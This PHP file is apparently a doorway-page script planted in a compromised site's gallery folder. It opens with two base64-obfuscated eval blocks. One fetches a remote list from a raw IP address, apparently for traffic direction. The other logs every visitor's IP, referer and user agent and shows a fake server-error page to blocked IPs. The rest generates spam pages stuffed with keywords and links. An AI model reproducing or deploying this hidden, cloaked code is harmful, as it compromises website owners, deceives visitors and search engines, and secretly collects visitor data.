<?
eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwoKaWYgKCAhZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpICYmICFkZWZpbmVkKCdGSUxFX0FQUEVORCcpICkgewoKCWRlZmluZSgnRklMRV9BUFBFTkQnLCAxKTsKCWZ1bmN0aW9uIGZpbGVfcHV0X2NvbnRlbnRzKCRuLCAkZCwgJGZsYWcgPSBmYWxzZSkgewoJCSRtb2RlID0gKCRmbGFnID09IEZJTEVfQVBQRU5EIHx8IHN0cnRvdXBwZXIoJGZsYWcpID09ICdGSUxFX0FQUEVORCcpID8gJ2EnIDogJ3cnOwoJCSRmID0gQGZvcGVuKCRuLCAkbW9kZSk7CgkJaWYgKCRmID09PSBmYWxzZSkgewoJCQlyZXR1cm4gMDsKCQl9IGVsc2UgewoJCQlpZiAoaXNfYXJyYXkoJGQpKSAkZCA9IGltcGxvZGUoJGQpOwoJCQkkYnl0ZXNfd3JpdHRlbiA9IGZ3cml0ZSgkZiwgJGQpOwoJCQlmY2xvc2UoJGYpOwoJCQlyZXR1cm4gJGJ5dGVzX3dyaXR0ZW47CgkJfQoJfQoKCgp9CgoKaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfZ2V0X2NvbnRlbnRzJykpIHsKCWZ1bmN0aW9uIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlbmFtZSwgJGluY3BhdGggPSBmYWxzZSwgJHJlc291cmNlX2NvbnRleHQgPSBudWxsKQoJewoJICBpZiAoZmFsc2UgPT09ICRmaCA9IGZvcGVuKCRmaWxlbmFtZSwgJ3JiJywgJGluY3BhdGgpKSB7CgkJICB0cmlnZ2VyX2Vycm9yKCdmaWxlX2dldF9jb250ZW50cygpIGZhaWxlZCB0byBvcGVuIHN0cmVhbTogTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeScsIEVfVVNFUl9XQVJOSU5HKTsKCQkgIHJldHVybiBmYWxzZTsKCSAgfQoKCSAgY2xlYXJzdGF0Y2FjaGUoKTsKCSAgaWYgKCRmc2l6ZSA9IEBmaWxlc2l6ZSgkZmlsZW5hbWUpKSB7CgkJICAkZGF0YSA9IGZyZWFkKCRmaCwgJGZzaXplKTsKCSAgfSBlbHNlIHsKCQkgICRkYXRhID0gJyc7CgkJICB3aGlsZSAoIWZlb2YoJGZoKSkgewoJCQkgICRkYXRhIC49IGZyZWFkKCRmaCwgODE5Mik7CgkJICB9CgkgIH0KCgkgIGZjbG9zZSgkZmgpOwoJICByZXR1cm4gJGRhdGE7Cgl9Cn0KCgppZihpc19maWxlKCJsaXN0LnRtcCIpICYmIHRpbWUoKS1maWxlbXRpbWUoImxpc3QudG1wIikgPD0gMTgwMCkKewoJCSRjb250PWZpbGVfZ2V0X2NvbnRlbnRzKCJsaXN0LnRtcCIpOwp9CmVsc2UgewoJCSRjb250PWZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vOTIuNDguMTI3Ljc2L3Byb21vLzg4MTdqMzI5LXRkcy1kb21haW4tbm9fc2UzLnR4dCIpOwoKCgkJaWYoISRjb250KQoJCXsKCQkJCS8vZXhpdCgwKTsKCQl9CgkJZWxzZQoJCXsKCQkJCWlmIChzdHJwb3MgKCRjb250LCJ3YXMgbm90IGZvdW5kIG9uIHRoaXMgc2VydmVyIik9PTApCgkJCQlmaWxlX3B1dF9jb250ZW50cygibGlzdC50bXAiLCAkY29udCk7CgkJfQp9CgoKJGNvbnQgPSB0cmltKCRjb250KTsK"));
eval(base64_decode("JGN1cmlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CiRjdXJpcGxvbmcgPSBpcDJsb25nKCRjdXJpcCk7CgokcmVmID0gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddPyRfU0VSVkVSWydIVFRQX1JFRkVSRVInXToibm9yZWYiOwokbG9nID0gaW1wbG9kZSgiXHQiLGFycmF5KGRhdGUoImQvbS9ZIEc6aTpzIiksICRjdXJpcCwgImh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICRyZWYsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpOwoKCiRsb2NrZXIgPSBAZmlsZV9nZXRfY29udGVudHMoImxvY2sudHh0Iik7CiRsb2NrID0gZXhwbG9kZSgiXG4iLCAkbG9ja2VyKTsKaWYgKGluX2FycmF5KCRjdXJpcCwgJGxvY2spKQp7CiRmcCA9IGZvcGVuKCJnZ2cudHh0IiwgImErIik7CgppZiAoZmxvY2soJGZwLCBMT0NLX0VYKSkgeyAvLwogICAgZndyaXRlKCRmcCwgIiRsb2dcbiIpOwogICAgZmxvY2soJGZwLCBMT0NLX1VOKTsgLy8KfQpmY2xvc2UoJGZwKTsKCmhlYWRlcigiSFRUUC8xLjAgNTAwIEludGVybmFsIFNlcnZlciBFcnJvciIpOwpwcmludCA8PDxIVE1MCjwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vSUVURi8vRFREIEhUTUwgMi4wLy9FTiI+CjxIVE1MPjxIRUFEPgo8VElUTEU+NTAwIEludGVybmFsIFNlcnZlciBFcnJvcjwvVElUTEU+CjwvSEVBRD48Qk9EWT4KPEgxPkludGVybmFsIFNlcnZlciBFcnJvcjwvSDE+ClRoZSBzZXJ2ZXIgZW5jb3VudGVyZWQgYW4gaW50ZXJuYWwgZXJyb3Igb3IKbWlzY29uZmlndXJhdGlvbiBhbmQgd2FzIHVuYWJsZSB0byBjb21wbGV0ZQp5b3VyIHJlcXVlc3QuPFA+ClBsZWFzZSBjb250YWN0IHRoZSBzZXJ2ZXIgYWRtaW5pc3RyYXRvciwKYW5kIGluZm9ybSB0aGVtIG9mIHRoZSB0aW1lIHRoZSBlcnJvciBvY2N1cnJlZCwKYW5kIGFueXRoaW5nIHlvdSBtaWdodCBoYXZlIGRvbmUgdGhhdCBtYXkgaGF2ZQpjYXVzZWQgdGhlIGVycm9yLjxQPgpNb3JlIGluZm9ybWF0aW9uIGFib3V0IHRoaXMgZXJyb3IgbWF5IGJlIGF2YWlsYWJsZQppbiB0aGUgc2VydmVyIGVycm9yIGxvZy48UD4KPC9CT0RZPjwvSFRNTD4KSFRNTDsKZXhpdCgwKTsKfSBlbHNlIHsKJGZwID0gZm9wZW4oImVlZS50eHQiLCAiYSsiKTsKCmlmIChmbG9jaygkZnAsIExPQ0tfRVgpKSB7IC8vCiAgICBmd3JpdGUoJGZwLCAiJGxvZ1xuIik7CiAgICBmbG9jaygkZnAsIExPQ0tfVU4pOyAvLwp9CmZjbG9zZSgkZnApOwoKfQo="));
$n_page=10000;
$way="http://www.voyerorspoodles.com/galleria/albums/site/sports-discussion-forums/";
$pagename="?topic";
$niche="discussion";
$tpl="./tpl_domain/729.html";
#$dynamic="0";
$dynamic=0;

$linkstrlenght=200;
$textstrlenght=300;
$keystrlenght=100;
$outlinks=6; //   6/10
$did=substr(md5($way),0,10);
//$did=md5($way);

function message($message) {
	print date("[d.m H:i:s] ") . $message . "\n";
	exit(0);
};
include("tpl.php");
$uri=$_SERVER["REQUEST_URI"];
$url_to_root=$way;
$request=str_replace(".html", "",$uri);
srand(intval(md5($uri)));
/*for ($n = strlen($request)-1; $n > 0; $n--) {
	if (!ctype_digit(substr($request, $n))) {
		break;
		}
	}
if($n){
	$page = (int)substr($request, $n+1);
	}
else $page=0;
*/
preg_match('/[^0-9]([0-9]+)$/', $request, $matches);
if(count($matches) <> 2){
    $page = 0;
}
else{
    $page = $matches[1];
}
if ($page>$n_page){
	$page=0;
	}
//sentences
$f=@fopen("./texts.txt",'r');
if (!$f){
	message("cant open texts.txt");
	}
$fsize=filesize("./texts.txt");
if($fsize!=$n_page*$textstrlenght){
#	message("error size texts.txt");
}
for($n=0;$n<$sentence_count;$n++){
	$k=rand(0,$n_page-1);
#	echo "k$n=$k<br>";
	fseek($f,$k*$textstrlenght);
	$sentence[$n]=trim(fgets($f));
}
for($n=0;$n<$sentence_link_count;$n++){
	fseek($f,rand(0,$n_page-1)*$textstrlenght);
	$sentence_link[$n]=trim(fgets($f));
}
fclose($f);

//keywords
$f=@fopen("./keys.txt",'r');
if (!$f){
	message("cant open keys.txt");
}
$fsize=filesize("./keys.txt");
if($fsize!=$n_page*$keystrlenght){
	message("error size keys.txt");
}
$flinks=@fopen("./links.txt",'r');
if (!$flinks){
	message("cant open links.txt");
}
$flinksize=filesize("./links.txt");
if($flinksize!=$n_page*$linkstrlenght){
#	message("error size links.txt");
}
fseek($f,$page*$keystrlenght);
$mainkeyword=trim(fgets($f));
$main_keyword=str_replace(" ","_",$mainkeyword);
fseek($f,0);
fseek($flinks,0);
$index_keyword=trim(fgets($f));
for($n=0;$n<$links_count;$n++){
	if(rand(0,10)>$outlinks){
		fseek($flinks,rand(0,$n_page-1)*$linkstrlenght);
		$str=explode("|",trim(fgets($flinks)));
		$url[$n]=$str[0];
		$keyword[$n]=$str[1];
		$key_word[$n]=str_replace(" ","_",$keyword[$n]);
		}
	else{
		$k=rand(0,$n_page-1);
		fseek($f,$k*$keystrlenght);
		$keyword[$n]=trim(fgets($f));
		$key_word[$n]=str_replace(" ","_",$keyword[$n]);
		if($dynamic){
		    $url[$n]=$way.$pagename.$k;
		    }
		else{
		    $url[$n]=$way.$pagename.$k.".html";
		    }
		}
	}
for($n=0;$n<$sentence_link_count;$n++){
	$k=rand(0,$n_page-1);
	fseek($f,$k*$keystrlenght);
	switch(rand(1,3))
		{
		case 1:$ss="";$se="";break;
		case 2:$ss="<i>";$se="</i>";break;
		case 3:$ss="<b>";$se="</b>";break;
		}
	$s="<a href=\"".$way.$pagename.$k.".html\">".$ss.trim(fgets($f)).$se."</a> ";
	$k=strpos($sentence_link[$n]," ",rand(0,strlen($sentence_link[$n])-1));
	if($k===false) $k=0;
	else $k++;
	$sentence_link[$n]=substr($sentence_link[$n],0,$k).$s.substr($sentence_link[$n],$k);
	}
fclose($f);

/*
echo "mainkeyword=$mainkeyword index_keyword=$index_keyword<br>";
echo "keyword";
print_r($keyword);
echo "url";
print_r($url);
echo "sentence";
print_r($sentence);
echo "sentencelink";
print_r($sentence_link);
*/
show_template();

?>